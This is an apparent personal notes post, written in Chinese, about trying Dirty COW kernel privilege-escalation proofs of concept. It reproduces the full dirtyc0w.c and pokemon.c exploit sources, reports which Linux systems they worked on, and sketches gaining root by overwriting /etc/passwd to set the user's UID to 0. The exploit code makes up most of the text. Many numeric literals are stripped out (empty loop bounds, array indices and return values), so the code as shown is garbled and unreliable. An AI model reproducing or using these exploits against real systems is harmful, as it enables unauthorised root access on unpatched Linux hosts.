dirtycow漏洞，原理还没看懂，找了几个PoC实验了一下。
dirtyc0w.c我在CentOS和Kali上都失败了
pokemon.c在CentOS上成功修改了只读文件，不过修改的不是很顺利，结尾总是有其他字符。
dirtyc0w.c
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h> void *map;
int f;
struct stat st;
char *name; void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=;
for(i=;i<;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
} void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=;
for(i=;i<;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,(uintptr_t) map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
} int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<) {
(void)fprintf(stderr, "%s\n",
"usage: dirtyc0w target_file new_content");
return ; }
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[],O_RDONLY);
fstat(f,&st);
name=argv[];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,);
printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[]);
pthread_create(&pth2,NULL,procselfmemThread,argv[]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return ;
}
pokemon.c
// $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball
#include <fcntl.h> //// pikachu
#include <pthread.h> //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball
#include <string.h> //// pokeball
#include <stdio.h> //// (___)
#include <stdint.h> //// (o o)_____/
#include <sys/mman.h> //// @@ ` \
#include <sys/types.h> //// \ ____, /miltank
#include <sys/stat.h> //// // //
#include <sys/wait.h> //// ^^ ^^
#include <sys/ptrace.h> //// mmap bc757000
#include <unistd.h> //// madvise 0
////////////////////////////////////////////// ptrace 0
////////////////////////////////////////////// miltank
//////////////////////////////////////////////
int f ;// file descriptor
void *map ;// memory map
pid_t pid ;// process id
pthread_t pth ;// thread
struct stat st ;// file info
//////////////////////////////////////////////
void *madviseThread(void *arg) {// madvise thread
int i,c= ;// counters
for(i=;i<;i++)//////////////////// loop to 2*10**8
c+=madvise(map,,MADV_DONTNEED) ;// race condition
printf("madvise %d\n\n",c) ;// sum of errors
}// /madvise thread
//////////////////////////////////////////////
int main(int argc,char *argv[]) {// entrypoint
if(argc<)return ;// ./d file contents
printf("%s \n\
(___) \n\
(o o)_____/ \n\
@@ ` \\ \n\
\\ ____, /%s \n\
// // \n\
^^ ^^ \n\
", argv[1], argv[2]) ;// dirty cow
f=open(argv[],O_RDONLY) ;// open read only file
fstat(f,&st) ;// stat the fd
map=mmap(NULL ,// mmap the file
st.st_size+sizeof(long) ,// size is filesize plus padding
PROT_READ ,// read-only
MAP_PRIVATE ,// private mapping for cow
f ,// file descriptor
) ;// zero
printf("mmap %lx\n\n",(unsigned long)map);// sum of error code
pid=fork() ;// fork process
if(pid) {// if parent
waitpid(pid,NULL,) ;// wait for child
int u,i,o,c=,l=strlen(argv[]) ;// util vars (l=length)
for(i=;i</l;i++)//////////////////// loop to 10K divided by l
for(o=;o<l;o++)//////////////////////// repeat for each byte
for(u=;u<;u++)////////////////// try 10K times each time
c+=ptrace(PTRACE_POKETEXT ,// inject into memory
pid ,// process id
map+o ,// address
*((long*)(argv[]+o))) ;// value
printf("ptrace %d\n\n",c) ;// sum of error code
}// otherwise
else {// child
pthread_create(&pth ,// create new thread
NULL ,// null
madviseThread ,// run madviseThred
NULL) ;// null
ptrace(PTRACE_TRACEME) ;// stat ptrace on child
kill(getpid(),SIGSTOP) ;// signal parent
pthread_join(pth,NULL) ;// wait for thread
}// / child
return ;// return
}// / entrypoint
//////////////////////////////////////////////
提权的思路大概是修改/etc/passwd然后给自己的账户的UID改成0。目前用pokemon.c写入大段文字只写了一行，没有换行，可能是\n\r这种问题。